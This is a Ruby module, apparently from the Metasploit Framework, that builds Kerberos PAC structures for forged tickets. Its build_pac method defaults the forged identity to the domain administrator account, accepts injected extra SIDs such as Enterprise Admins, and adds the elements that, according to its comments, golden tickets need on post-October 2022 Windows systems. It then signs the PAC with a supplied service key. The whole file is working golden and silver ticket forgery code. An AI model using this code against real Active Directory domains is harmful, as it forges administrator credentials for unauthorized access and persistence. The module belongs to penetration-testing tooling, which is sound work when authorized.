# -*- coding: binary -*-
require 'rex/proto/kerberos/pac/krb5_pac'

module Msf
  class Exploit
    class Remote
      module Kerberos
        module Client
          module Pac

            # Builds a kerberos PA-PAC-REQUEST pre authenticated structure
            #
            # @param opts [Hash{Symbol => Boolean}]
            # @option opts [Boolean] :pac_request_value
            # @return [Rex::Proto::Kerberos::Model::Field::PreAuthDataEntry]
            # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
            # @see Rex::Proto::Kerberos::Model::PreAuthDataEntry
            def build_pa_pac_request(opts = {})
              value = opts[:pac_request_value] || false
              pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
              pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthDataEntry.new(
                type: Rex::Proto::Kerberos::Model::PreAuthType::PA_PAC_REQUEST,
                value: pac_request.encode
              )

              pa_pac_request
            end

            # Builds a kerberos PACTYPE structure
            #
            # @param opts [Hash{Symbol => <String, Integer, Array, Time>}]
            # @option opts [String] :client_name
            # @option opts [Integer] :user_id the user SID Ex: 1000
            # @option opts [Integer] :group_id Ex: 513 for 'Domain Users'
            # @option opts [Array<Integer>] :group_ids
            # @option opts [Array<String>] :extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']`
            # @option opts [String] :realm
            # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
            # @option opts [Time] :auth_time
            # @option opts[String] :checksum_enc_key Encryption key for calculating the checksum
            # @option opts[Boolean] :is_golden Include requestor and pac attributes in the PAC (needed for golden tickets; not for silver)
            # @return [Rex::Proto::Kerberos::Pac::Krb5Pac]
            # @see Rex::Proto::Kerberos::Pac::Krb5PacLogonInfo
            # @see Rex::Proto::Kerberos::Pac::Krb5PacClientInfo
            # @see Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum
            # @see Rex::Proto::Kerberos::Pac::Krb5PacPrivSvrChecksum
            # @see Rex::Proto::Kerberos::Pac::Krb5Pac
            def build_pac(opts = {})
              user_name = opts[:client_name] || ''
              user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID
              primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
              group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
              extra_sids = opts[:extra_sids] || []
              logon_domain_name = opts[:logon_domain_name] || opts[:realm] || ''
              logon_count = opts.fetch(:logon_count) { 0 }
              password_last_set = opts.fetch(:password_last_set) { nil }
              domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
              auth_time = opts[:auth_time] || Time.now
              checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
              ticket_checksum = opts[:ticket_checksum] || nil
              is_golden = opts.fetch(:is_golden) { true }
              base_vi = opts[:base_verification_info]
              upn_dns_info_pac_element = opts[:upn_dns_info_pac_element]

              obj_opts = {
                logon_time: auth_time,
                effective_name: user_name,
                user_id: user_id,
                primary_group_id: primary_group_id,
                logon_domain_name: logon_domain_name,
                logon_domain_id: domain_id,
                logon_count: logon_count,
                full_name: '',
                logon_script: '',
                profile_path: '',
                home_directory: '',
                home_directory_drive: '',
                logon_server: '',
                password_last_set: password_last_set
              }
              unless base_vi.nil?
                obj_opts.merge({
                  full_name: base_vi.full_name,
                  logon_script: base_vi.logon_script,
                  profile_path: base_vi.profile_path,
                  home_directory: base_vi.home_directory,
                  home_directory_drive: base_vi.home_directory_drive,
                  logon_server: base_vi.logon_server,
                  logon_count: base_vi.logon_count,
                  bad_password_count: base_vi.bad_password_count,
                  user_account_control: base_vi.user_account_control,
                  sub_auth_status: base_vi.sub_auth_status,
                  last_successful_i_logon: base_vi.last_successful_i_logon,
                  last_failed_i_logon: base_vi.last_failed_i_logon,
                  failed_i_logon_count: base_vi.failed_i_logon_count
                })
              end

              validation_info = Rex::Proto::Kerberos::Pac::Krb5ValidationInfo.new(**obj_opts)
              validation_info.group_ids = group_ids
              if extra_sids && extra_sids.length > 0
                validation_info.extra_sids = extra_sids.map do |sid|
                  { sid: sid, attributes: Rex::Proto::Kerberos::Pac::SE_GROUP_ALL }
                end
              end

              logon_info = Rex::Proto::Kerberos::Pac::Krb5LogonInformation.new(
                data: validation_info
              )

              client_info = Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
                client_id: auth_time,
                name: user_name
              )

              if is_golden
                pac_requestor = Rex::Proto::Kerberos::Pac::Krb5PacRequestor.new(
                  user_sid: "#{domain_id}-#{user_id}"
                )

                pac_attributes = Rex::Proto::Kerberos::Pac::Krb5PacAttributes.new
              end

              server_checksum = Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
                signature_type: checksum_type
              )

              priv_srv_checksum = Rex::Proto::Kerberos::Pac::Krb5PacPrivServerChecksum.new(
                signature_type: checksum_type
              )

              pac_elements = [
                logon_info,
                client_info
              ]

              unless upn_dns_info_pac_element.nil?
                pac_elements.append(upn_dns_info_pac_element)
              end

              if is_golden
                # These PAC elements are required for golden tickets in post-October 2022 systems
                pac_elements.append(
                  pac_requestor,
                  pac_attributes
                  )
              end

              pac_elements.append(
                  server_checksum,
                  priv_srv_checksum
              )
              pac_elements << ticket_checksum unless ticket_checksum.nil?

              pac_type = Rex::Proto::Kerberos::Pac::Krb5Pac.new
              pac_type.assign(pac_elements: pac_elements)
              pac_type.sign!(service_key: opts[:checksum_enc_key])
              pac_type
            end

            # Builds an kerberos AuthorizationData structure containing a PACTYPE
            #
            # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
            # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
            # @return [Rex::Proto::Kerberos::Model::AuthorizationData]
            # @see Rex::Proto::Kerberos::Model::AuthorizationData
            def build_pac_authorization_data(opts = {})
              pac = opts[:pac] || build_pac(opts)

              pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
                elements: [{ type: Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, data: pac.to_binary_s}]
              )
              authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
                elements: [{ type: Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT, data: pac_auth_data.encode }]
              )

              authorization_data
            end

            def build_empty_auth_data
              pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
                elements: [{ type: Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, data: "\x00" }]
              )
              Rex::Proto::Kerberos::Model::AuthorizationData.new(
                elements: [{ type: Rex::Proto::Kerberos::Model::AuthorizationDataType::AD_IF_RELEVANT, data: pac_auth_data.encode }]
              )
            end
          end
        end
      end
    end
  end
end
